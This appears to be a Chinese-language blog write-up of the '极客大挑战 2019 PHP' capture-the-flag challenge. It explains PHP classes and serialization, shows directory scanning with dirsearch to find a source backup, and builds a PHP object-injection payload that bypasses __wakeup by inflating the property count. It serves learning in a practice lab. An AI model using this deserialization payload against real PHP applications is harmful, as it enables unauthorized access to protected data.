少女祈祷中...

[极客大挑战 2019]PHP

前提知识补充:PHP序列化与反序列化

1
2
3
4
<?php 
// 定义一个数组 $myArray = array('name' => 'John', 'age' => 30);
// 序列化数组 $serialized = serialize($myArray); echo "Serialized: ". $serialized . "<br>"; // 反序列化 $unserialized = unserialize($serialized); print_r($unserialized);
?>

类(class):(类似C语言中函数和结构体的结合,同时定义结构体和函数)

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Car {
// 类的属性,用于描述汽车的特征
public $color;
public $brand;
public $speed;

// 构造方法,在创建对象时自动调用,用于初始化对象的属性
public function __construct($color, $brand, $speed = 0) {
$this->color = $color;
$this->brand = $brand;
$this->speed = $speed;
}

// 类的方法,用于描述汽车的行为
public function accelerate($increase) {
$this->speed += $increase;
echo "The {$this->brand} car has accelerated to {$this->speed} km/h.\n";
}

public function brake($decrease) {
if ($this->speed - $decrease < 0) {
$this->speed = 0;
} else {
$this->speed -= $decrease;
}
echo "The {$this->brand} car has braked to {$this->speed} km/h.\n";
}
}

代码解释

  1. 类的声明class Car 开启了 Car 类的定义。
  2. 类的属性:
    • public $color;public $brand;public $speed; 定义了 Car 类的三个属性,分别代表汽车的颜色、品牌和速度。public 表示这些属性可以在类的外部直接访问(如果是private就无法在class外引用了,下面会有外部引用例子)。——————————–相当于C语言结构体定义
  3. 构造方法 __construct
    • $this->speed:相当于指针
    • 构造方法是一种特殊的方法,在创建类的对象时会自动调用
    • public function __construct($color, $brand, $speed = 0) 接收三个参数,用于初始化汽车的颜色、品牌和速度。$speed 参数有默认值 0,意味着如果创建对象时没有提供速度值,汽车的初始速度将为 0。
  4. 类的方法:
    • public function accelerate($increase):该方法用于模拟汽车加速,接收一个参数 $increase,表示速度的增加量。它会将当前速度加上增加量,并输出加速后的速度信息。
    • public function brake($decrease):该方法用于模拟汽车刹车,接收一个参数 $decrease,表示速度的减少量。它会确保速度不会小于 0,并输出刹车后的速度信息。

外部引用:(如果是private就无法引用)

1
2
3
4
5
6
7
8
// 创建一个 Car 类的对象
$myCar = new Car("red", "Toyota", 60);

// 调用加速方法
$myCar->accelerate(20);

// 调用刹车方法
$myCar->brake(10);

序列化:(将 PHP 中可以将数组、对象等数据结构转化为一个字符串——–方便储存)

1
$serialized = serialize($myArray); echo "Serialized: ". $serialized;
  • serialize($myArray)serialize() 是 PHP 内置的函数,用于将一个 PHP 变量(如数组、对象等)转换为一个可以存储或传输的字符串。这里将 $myArray 数组进行序列化,得到一个表示该数组的字符串。
  • $serialized = serialize($myArray);:将序列化后的字符串赋值给变量 $serialized
  • echo "Serialized: ". $serialized . "<br>";:使用 echo 语句输出序列化后的字符串,"<br>" 是 HTML 中的换行标签,用于在浏览器中显示时换行。

序列化后的字符串格式是 PHP 特有的,例如上述代码序列化后的结果可能是:

1
a:2:{s:4:"name";s:4:"John";s:3:"age";i:30;}
  • a:2: 表示这是一个包含 2 个元素的数组(a 代表数组,2` 是元素数量)。
  • {...} 包含了数组的具体元素。
  • s:4:"name"; 表示一个字符串键 'name's 代表字符串,4 是字符串的长度。
  • s:4:"John"; 表示键 'name' 对应的值是字符串 'John'
  • s:3:"age"; 表示一个字符串键 'age'
  • i:30; 表示键 'age' 对应的值是整数 30i 代表整数。

反序列化:(由机器看得懂的转化回我们看得懂的)

1
2
3
$unserialized = unserialize($serialized); 

print_r($unserialized);
  • unserialize($serialized)unserialize()serialize() 的逆操作,用于将序列化后的字符串重新转换为原来的 PHP 变量。这里将 $serialized 字符串进行反序列化,得到原来的数组。
  • $unserialized = unserialize($serialized);:将反序列化后的数组赋值给变量 $unserialized
  • print_r($unserialized);print_r() 是 PHP 内置的函数,用于以易于阅读的格式输出变量的信息,通常用于调试。(单纯让页面更好看)
  • 这里将反序列化后的数组输出
1
2
3
4
5
6
7
Array ( 

[name] => John

[age] => 30

​ )

正片:

原理:正常输入数据会被序列化,再反序列化,再序列化过程中可能会有严格验证,我们直接输入序列化后的代码

,反序列化后就可以直接执行

img

提示我们要找备份网站,那就爆破一下:(windows环境试过好多次,失败了,最后只能含泪去虚拟机上了)

打开虚拟机centos,用Final Shell连接

1
cd ~/dirsearch

———–进入文件夹

1
python3 dirsearch.py -u 地址

———–开始扫描

image-20250224203646898

得到下载链接,下载得到需要文件

img

打开index.php得到:

1
2
3
4
5
6
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

使用get传输,并且用到了序列化与反序列化 —————–(unserialize就是反序列化函数)

打开class文件得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

我们得出:

1
2
3
4
只有当最后反序列化后
username = admin
password = 100
才能得到我们的flag

正常来说

1
2
3
function __wakeup(){
$this->username = 'guest';
}

存在,会导致我们序列化时候输入的username一直为guest无法为目标admin,所以我们要想办法绕过这个

构造序列化代码:

1
2
3
4
5
6
7
8
<?php
class Name{
private $username = "admin";
private $password = 100;
}
$a = new Name();
print(serialize($a))
?>

得到:

1
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

这个时候只要把2改为3就能成功绕过__wakeup()啦(由于我们已知这两个信息是private信息,所以要加上%00)

构造最终payload:

1
2
?select=
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

补充:
常用的内置方法:
construct():创建对象时初始化,当一个对象创建时被调用
wakeup() 使用unserialize时触发 //反序列化

sleep() 使用serialize时触发 //序列号
destruction():结束时销毁对象,当一个对象销毁时被调用

​ 2025.2.24写完

[SCTF 2021]FUMO on the Christmas tree

考察点:万一不给你反序列化入口呢?